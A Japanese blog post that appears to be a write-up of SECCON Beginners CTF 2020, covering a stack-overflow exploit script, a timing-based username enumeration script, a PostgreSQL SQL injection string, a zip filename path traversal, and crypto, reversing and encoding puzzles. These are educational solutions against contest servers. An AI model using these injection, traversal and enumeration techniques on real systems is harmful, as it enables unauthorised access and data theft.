LoginSignup
4
2

More than 3 years have passed since last update.

SECCON Beginners CTF 2020 Writeup【ctf4b 2020】

Last updated at Posted at 2020-05-24

7問/23問解いて135位/1009チームでした。beginners向けとは……??
文句言わずに精進します。

解説するのは、
Pwn: Beginner's Stack
Crypto: R&B
Web: Spy, Tweetstore, unzip
Reversing: mask
Misc: Welcome, emoemoencode
です。

Pwn

Beginner's Stack

felvi:~/ctf4b2020$ nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffee3ebbfa0 | 0x00007f690ac9c9a0 | <-- buf
                   +--------------------+
0x00007ffee3ebbfa8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffee3ebbfb0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffee3ebbfb8 | 0x00007f690aeb5170 |
                   +--------------------+
0x00007ffee3ebbfc0 | 0x00007ffee3ebbfd0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffee3ebbfc8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffee3ebbfd0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffee3ebbfd8 | 0x00007f690a8bcb97 | <-- return address (main)
                   +--------------------+
0x00007ffee3ebbfe0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffee3ebbfe8 | 0x00007ffee3ebc0b8 |
                   +--------------------+

Input: 

win関数を叩いてほしいそうなので叩きます。
方針はスタックオーバーフローです。

inputに入力すると入力した文字がbufから埋まっていくのが確認できます。

Input: aaaaaaaaaaaaa

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff8ff1a310 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007fff8ff1a318 | 0x00000a6161616161 |
                   +--------------------+
0x00007fff8ff1a320 | 0x0000000000000000 |
                   +--------------------+
0x00007fff8ff1a328 | 0x00007fa6d18d0170 |
                   +--------------------+
0x00007fff8ff1a330 | 0x00007fff8ff1a340 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff8ff1a338 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fff8ff1a340 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fff8ff1a348 | 0x00007fa6d12d7b97 | <-- return address (main)
                   +--------------------+
0x00007fff8ff1a350 | 0x0000000000000001 |
                   +--------------------+
0x00007fff8ff1a358 | 0x00007fff8ff1a428 |
                   +--------------------+

Bye!

溢れた分はこのまま下に漏れるので、リターンアドレスが入る0x00007fff8ff1a338番地の手前まで適当な文字で埋めて、
リターンアドレスのところにwin関数の番地である0x400861をいれます。

solver.py
from pwn import *
r = remote("bs.quals.beginners.seccon.jp", 9001)
r.send(p64(0) * 5 + p64(0x400861))
r.interactive()

しかし、これだと

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffde3ecf1c0 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffde3ecf1c8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffde3ecf1d0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffde3ecf1d8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffde3ecf1e0 | 0x0000000000000000 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffde3ecf1e8 | 0x0000000000400861 | <-- return address (vuln)
                   +--------------------+
0x00007ffde3ecf1f0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffde3ecf1f8 | 0x00007f6a007adb97 | <-- return address (main)
                   +--------------------+
0x00007ffde3ecf200 | 0x0000000000000001 |
                   +--------------------+
0x00007ffde3ecf208 | 0x00007ffde3ecf2d8 |
                   +--------------------+

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
[*] Got EOF while reading in interactive

惜しいようです。
ヒントによれば、RSP(スタックポインタ)の境界がずれているみたいです。
なのでリターンアドレスを少し先にずらします。

solver.py
from pwn import *
r = remote("bs.quals.beginners.seccon.jp", 9001)

# 0x400861番地から0x400862番地に変更
r.send(p64(0) * 5 + p64(0x400862))
r.interactive()

こうするとご丁寧にwin関数でシェルが実行されるようなので、
そのままflagを読みます。

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff155210c0 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007fff155210c8 | 0x0000000000000000 |
                   +--------------------+
0x00007fff155210d0 | 0x0000000000000000 |
                   +--------------------+
0x00007fff155210d8 | 0x0000000000000000 |
                   +--------------------+
0x00007fff155210e0 | 0x0000000000000000 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff155210e8 | 0x0000000000400862 | <-- return address (vuln)
                   +--------------------+
0x00007fff155210f0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fff155210f8 | 0x00007f9a31b94b97 | <-- return address (main)
                   +--------------------+
0x00007fff15521100 | 0x0000000000000001 |
                   +--------------------+
0x00007fff15521108 | 0x00007fff155211d8 |
                   +--------------------+

Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 
flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Crypto

R&B

problem.py
from os import getenv

FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped

def base64(s):
    # snipped

for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

問題のコードから察するに、FORMATがRRBRBRBRRのようにROT13とbase64の適用順を決めているようです。
ちなみにROT13はアルファベットを13文字後ろにずらす変換で、
base64はバイナリの並びを予め決めてある変換表に従ってascii文字列に変換するものです。
詳しくはググってください。

ということでencoded_flagからFLAGを逆算して求めていきます。

solver.py
import base64
import codecs

encoded_flag = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="
while True:
    if encoded_flag[0] == "B":
        encoded_flag = base64.b64decode(encoded_flag[1:]).decode("ascii")
    elif encoded_flag[0] == "R":
        encoded_flag = codecs.decode(encoded_flag[1:], "rot13")
    else:
        print(encoded_flag)
        break
flag.txt
ctf4b{rot_base_rot_base_rot_base_base}

Web

Spy

サーバーのコード(app.py)を読むと、FLAGは/challengeをクリアすると貰えそうだということがわかります。

app.py
        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"

        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

ここにある通り、DBにユーザー登録しているアカウントをすべて答えればよさそうです。

問題の調べ方ですが、ここでルートのログインのコードを読みます。

app.py
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

ログイン時の処理として、
1. DBにユーザーが居るか
2. いる場合、ユーザーのパスワードが正しいか
という2段階で検証を行っているようです。

ユーザーが存在しないときは、DBへ一回問い合わせるだけなのに対し、
存在するときは、その後入力されたパスワードをハッシュ化して検証するので、
存在するときのほうが結果を返すまでに時間がかかります。

これを26人分試して、返すまでの時間が長いユーザー名がお目当てのものです。
競技中はソルバを書くのが面倒で手作業でやりましたが、せっかくなので書いてみます。

solve.py
import re
import time
from urllib import request as req, parse
from lxml import html

target_users = []

with open("./employees.txt") as f:
  employees = f.read().split("\n")


url = "https://spy.quals.beginners.seccon.jp/"
for employee in employees:

  data = parse.urlencode(
    {
      "name": employee,
      "password": ""
    }
  ).encode("ascii")

  source = html.fromstring(req.urlopen(url, data).read())
  result = float(re.search(r"0\.\d+", source.xpath('/html/body/footer/div/p[1]')[0].text).group())
  if result > 0.1:
    target_users.append(employee)

  time.sleep(1) # 負荷対策

print(target_users)

これを実行するとDBに登録済のユーザーが分かります。

['Elbert', 'George', 'Lazarus', 'Marc', 'Tony', 'Ximena', 'Yvonne']

これらを/challengeでチェックを入れればフラグが出ます。

flag.txt
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore

SQLインジェクションです。
webserver.goの42行目に'\\'に置き換えてしまう仕掛けが施してあります。
この\\'はGo言語で\'にエスケープされ、SQLにただの'としてエスケープされます。
この\はエスケープシーケンスと呼ばれる、後ろの記号の効果を無効化する記号です。

これでは単純に' (hogehoge); --としても、前の引用符を閉じることができません。

ということでSQLにエスケープされないようにしたいのですが、
\は2つ重ねて\\にすると、ただの\になります。

よって\\' (hogehoge); --とすることで、
Go言語に'を置き換えられた段階で\\\\' (hogehoge); --になり、
これをGo言語は\\' (hogehoge); --と読みます。
それをSQLが\' (hogehoge); --と読みます。
こうすることでSQLはただの円マークとして読んでくれます。

そしてFLAGの読み方ですが、
webserver.goの82行目でdbuserがFLAGになっていることがわかります。
86行目から分かる通り、このDBはpostgresであることがわかるので、
dbuserはpg_userテーブルに入っていることがわかります。
あとは、これを表示させるだけです。

これをsearch wordに入力します。

\\' or 1=0; select usename as url, usename as text, now() as tweeted_at from pg_user; -- 

1 = 0でtweetをすべて非表示にしています。

flag.txt
ctf4b{is_postgres_your_friend?} 

unzip

zipファイルを読み込ませると、中のファイルを見せてくれるサービスみたいです。
実際に適当にzipファイルをアップしてみるとファイル名が表示されますね。
それをクリックすると中身が表示されますが、ここでURLに注目します。
https://unzip.quals.beginners.seccon.jp/?filename=hoge.txt

filename=でファイル名を指定するとそこにあるファイルを見せてくれるようです。

配布されたdocker-compose.ymlindex.phpから、

flag.txt
uploads/
  (session_id)/
    (zipの中のファイルの名前) 

というディレクトリ構造になっていることがわかります。
よって、filenameには../../flag.txtと指定すれば良さそうです。

しかしそのままhttps://unzip.quals.beginners.seccon.jp/?filename=../../flag.txtとしても、
no such fileと言われてアクセスできません。

というのもindex.phpの15行目で、アップロード済のファイル名と照合して存在しないファイル名を弾いています。
そこで../../flag.txtという名前のファイルをアップすることを考えます。

しかし、システム上の問題でフォルダと区別がつかなくなってしまうのでファイル名には/を含むことができません。
そこで一旦/を適当な記号で置き換えたファイルをzipで圧縮します。
圧縮したzipをバイナリエディタで開いて、ファイル名を直接編集します。
image.png
一旦@で置き換えたものが4箇所見えるので、/に編集します。
保存して出来上がったzipをアップすれば欲しかったファイル名ができています。

flag.txt
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

Reversing

mask

とりあえずバイナリエディタにかけてみると先頭が.ELFなのでLinuxの実行ファイルっぽいことがわかります。
手元で実行してみると、入力を受け取り何らかの処理を施して2行出力するプログラムであることがわかります。
何度か同じ文字を入力してみても変化が無いので、1対1で入力した文字と出力される2つの文字が対応しているようです。

ここでIDAで問題のファイルを解析してみると、
atd`qdedtUpetepqeUdaaeUeaqau と c`b bk`kj`KbababcaKbacaKiacki という文字列が見つかります。
その後の処理でCorrect! Submit your FLAG.と書いてあるのを見るに、上の2つの文字列が出力されるような文字列がFLAGになっているようです。

あとはゴリ押しです。スマートな解法があれば教えて下さい……
abcdefghijklmnopqrstuvwxyz{}を入力して出てきた文字列を変換表として、上の2つの文字列を見比べながら当てはめていきました。
(FLAGは忘れました)

Misc

Welcome

Discordサーバーのannouncementチャンネルを見れば書いてあります。

flag.txt
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode

だいぶ手こずりました。
何でみんな解けるんだ……??となりながらお風呂に入っていたらひらめきました。
UnicordのEmojiの一覧 - Wikipedia
ASCIIコード表

絵文字が1対1対応しているので、絵文字列がこうなっていることは予想できます。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
↓
ctf4b{🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩}

ここで絵文字をじっと見ていると、食べ物が多いことに気づきます。
そこで完全ランダムではなく、何らかの法則で並んだものだと気づくことができます。
UnicordのEmoji一覧とにらめっこして、U+1FxxのxxがASCIIコードと一致していることに気づけばあとは変換するだけです。

その他

途中までやったやつ

Pwn: Begginer's Heap

double freeでアプリが落ちるところまではいったけどそこから先がわからない。

Crypto: Noisy equations

seedで乱数が固定されるので、2回分の出力をとって差分を計算すればgetrandbits(L)は消せると思った。
そのあとcoeffsの逆行列とanswerの行列積とれば行けると思ったけど計算がうまく行かなかった。

Web: profiler

XSSかなあと思ったけど手がかりわからず。

Reversing: yakisoba

焼きそばのように難読化されているところは発見したけどどうほどけばいいかがわからなかった。

Misc: readme

最初これが、今回で言うところのwelcome問題だと勘違いしていてなんで解けないんだ……?となっていた。あほのこですね。

その他問題点等あればご指摘ください!

4
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
2